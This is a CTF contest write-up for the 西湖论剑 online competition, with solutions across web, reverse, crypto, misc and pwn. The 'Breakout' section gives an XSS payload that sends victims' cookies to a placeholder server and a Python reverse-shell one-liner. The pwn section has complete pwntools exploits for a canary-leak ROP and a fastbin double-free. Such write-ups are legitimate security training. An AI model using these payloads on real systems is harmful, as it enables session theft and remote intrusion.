Close

西湖论剑线上赛 writeup

西湖论剑

太菜了最后只有18名
都怪我划水
还是得夸aris和liano太强了

WEB

web1

<?php
//index.php
$a = @$_GET['file'];
if (!$a) {
    $a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
    die('nonono');
}
include $a;

hint :dir.php

//dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

用dir.php可以看根目录文件
image
flag在这里
然后直接用index.php读
就得到flag了

猜猜flag是什么

根目录下有.DS_Store 泄露,脱下来可以发现一下内容:
image

继续扫描 /e10adc3949ba59abbe56e057f20f883e/ 这个目录发现有 .git 泄露

githack 获得一个加密压缩包BackupForMySite.zip,不过我们有他里面的部分内容:index.php lengzhu.jpg。那么用明文攻击解开压缩包,明文压缩包要用bindzip来压缩。。。

里面的 hint 带有激活码,并且说 flag 在 /flag/seed.txt(直接访问说NAIVE)

输入到主页中用get请求,参数为code=激活码 就可以得到一个数字
既然说是seed 那么猜测为 php 的随机数种子。

使用php_mt_seed 将上一步拿到的数字丢进去跑,爆破出seed的值

访问/flag/${seed}.txt 就可以获得flag了

Breakout

思路:使用 <base> 标签将页面的基础路径修改到自己的服务器,劫持js文件

过程
留言内容:

<base href='http://x.x.x.x'>

然后在自己的服务器上web目录下创建一个 /js/jquery.min.js,内容为:

cookie=btoa(document.cookie);img = document.createElement('img');img.src='http://x.x.x.x/?cookie='+cookie;document.body.appendChild(img);

report页面提交留言板地址,验证码爆破即可

然后拿到cookie后替换,反弹shell到自己的服务器上:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1

flag在根目录下的flag.txt

RE

easyCPP

根据名字就很容易看出是个斐波那契数列了,他先取你输入的第一个和后面每个相加,再倒序之后得是从1开始的15个斐波那契数,于是逆一下得出输入
987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986

testre

base58改都没改=-=一把梭

>>> import base58
>>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
'base58_is_boring'

Junk_Instruction

动调题,ida载入半天也找不到啥东西=。=果断掏出OD下API断点找到关键函数sub_402600
由于还有花指令,不如继续动调,跟了一会,找到了像是rc4的S-box,盲猜
[0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
qwertyuiop是key,然后解个rc4,嗯?错了?倒个序,嗯,看来是没错=。=

from Crypto.Cipher import ARC4

key = 'qwertyuiop'
a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
enc = ''
for i in a:
    enc += chr(i)
rc4 = ARC4.new(key)
print(rc4.decrypt(enc)[::-1])

Crypto

哈夫曼之谜

就是哈夫曼编码,刚巧上半年数据结构作业的代码还在:

/**
 *
 * @class TreeNode
 */
class TreeNode {
  constructor(weight = 0, item = "") {
    this.item = item;
    this.weight = weight;
    this.lNode = null;
    this.rNode = null;
  }
}

/**
 *
 * @class huffmanTree
 */
class huffmanTree {
  constructor(text) {
    this.root = null;
    this.generate(text);
  }
  generate(text) {
    const countFreqs = function(text) {
      let freqs = {};
      for (let char of text) {
        if (!freqs[char]) {
          freqs[char] = 0;
        }
        freqs[char]++;
      }
      return freqs;
    };
    const createhuffmanTree = function(data) {
      if (data.length === 1) return data[0];
      data
        .sort(function(node1, node2) {
          return node1.weight - node2.weight;
        })
        .reverse();
      let lNode = data.pop();
      let rNode = data.pop();
      let newNode = new TreeNode(lNode.weight + rNode.weight, "");
      newNode.lNode = lNode;
      newNode.rNode = rNode;
      data.push(newNode);
      return createhuffmanTree(data);
    };
    let freqs = countFreqs(text);
    let data = [...new Set(text.split(""))].map(function(item) {
      return new TreeNode(freqs[item], item);
    });
    this.root = createhuffmanTree(data);
  }
}

/**
 *
 * @class HuffmanCode
 */
class HuffmanCode {
  constructor() {
    this.codeTable = {};
    this.tree = null;
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  encode(text) {
    const traverseTree = function(node, arr, code) {
      if (node.lNode !== null && node.rNode != null) {
        traverseTree(node.lNode, arr, code + "0");
        traverseTree(node.rNode, arr, code + "1");
      }
      arr[node.item] = code;
    };
    this.tree = new huffmanTree(text);
    traverseTree(this.tree.root, this.codeTable, "");
    delete this.codeTable[""];
    let res = "";
    for (let i of text) {
      res += this.codeTable[i];
    }
    console.log(res);
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  decode(text) {
    let count = 0;
    let res = "";
    const decodeNode = node => {
      if (count > text.length) return null;
      if (node.lNode === null && node.rNode === null) {
        res += node.item;
        decodeNode(this.tree.root);
      } else {
        if (text[count] === "1") {
          count++;
          decodeNode(node.rNode);
        } else {
          count++;
          decodeNode(node.lNode);
        }
      }
    };
    decodeNode(this.tree.root);
    console.log(res);
  }
}
let text = "ddddddddd5555555550000000aaaafffff{gl}";
let huffmanCode = new HuffmanCode();
huffmanCode.encode(text);
huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");

字符的权重对应字符的个数,先encode生成Huffman树,再把给出的密文decode一下就好了。相同权重的字符可能会有左右节点的顺序差别,手动交换一下他们在字符串text 中的顺序即可
最后解得flag为 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

Misc

奇怪的TTL字段

发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中

fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i[4:]))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

应该就是AutoKey那个加密了,找了个在线网站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag{2028ab39927df1d96e6a12b03e58002e}

最短的路

flag{ 只跟 E3 有联系
image
75D}只跟 FloraPrice 有联系
正好可以找 和 FloraPrice 和E3有联系的
在列表翻一下正好找到
EvelynJefferson
flag: E3EvelynJeffersonE9FloraPrice75D

PWN

story

基础题,利用格式化字符串leak canary之后栈溢出ROP

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'story'

if local:
    cn = process('./story')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf2.linkedbyx.com',10885)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('')

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

prdi = 0x0000000000400bd3 
prsi = 0x0000000000400bd1 


cn.sendlineafter('ID:','%15$p')
cn.recvuntil('0x')
canary = int(cn.recvline()[:-1],16)
success('canary:'+hex(canary))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
buf+= p64(0x4009A0)
cn.sendline(buf)
cn.recvline()
cn.recvline()
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase:'+hex(lbase))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(0x4526a+lbase)+p64(0)*0x10
cn.sendline(buf)


cn.interactive()


'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''

noinfoleak

说是noinfoleak,但其实很容易就能leak信息。。。就是个普通的fastbin题,和第一题比说实话值不了300分(当然第一题也是抄的,就很emmmm)

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'noinfoleak'

if local:
    cn = process('./noinfoleak')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf1.linkedbyx.com',10446)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(sz,con):
    sla('>','1')
    sla('>',str(sz))
    sla('>',con)

def dele(idx):
    sla('>','2')
    sla('>',str(idx))

def edit(idx,con):
    sla('>','3')
    sla('>',str(idx))
    sa('>',con)


add(0x30,'/bin/sh\x00')#0
add(0x20,'bbb')#1
add(0x20,'ccc')#2

dele(1)
dele(2)
dele(1)

add(0x20,p64(0x6010a0))#3
add(0x20,'ddd')#4
add(0x20,'eee')#5
add(0x20,p64(0x601018))#6
# z('c')
edit(1,p64(bin.plt['puts']))
edit(6,p64(bin.got['puts']))
dele(1)
lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
edit(6,p64(bin.got['free']))
edit(1,p64(lbase+libc.sym['system']))
dele(0)

cn.interactive()

Leave a Reply

Your email address will not be published. Required fields are marked *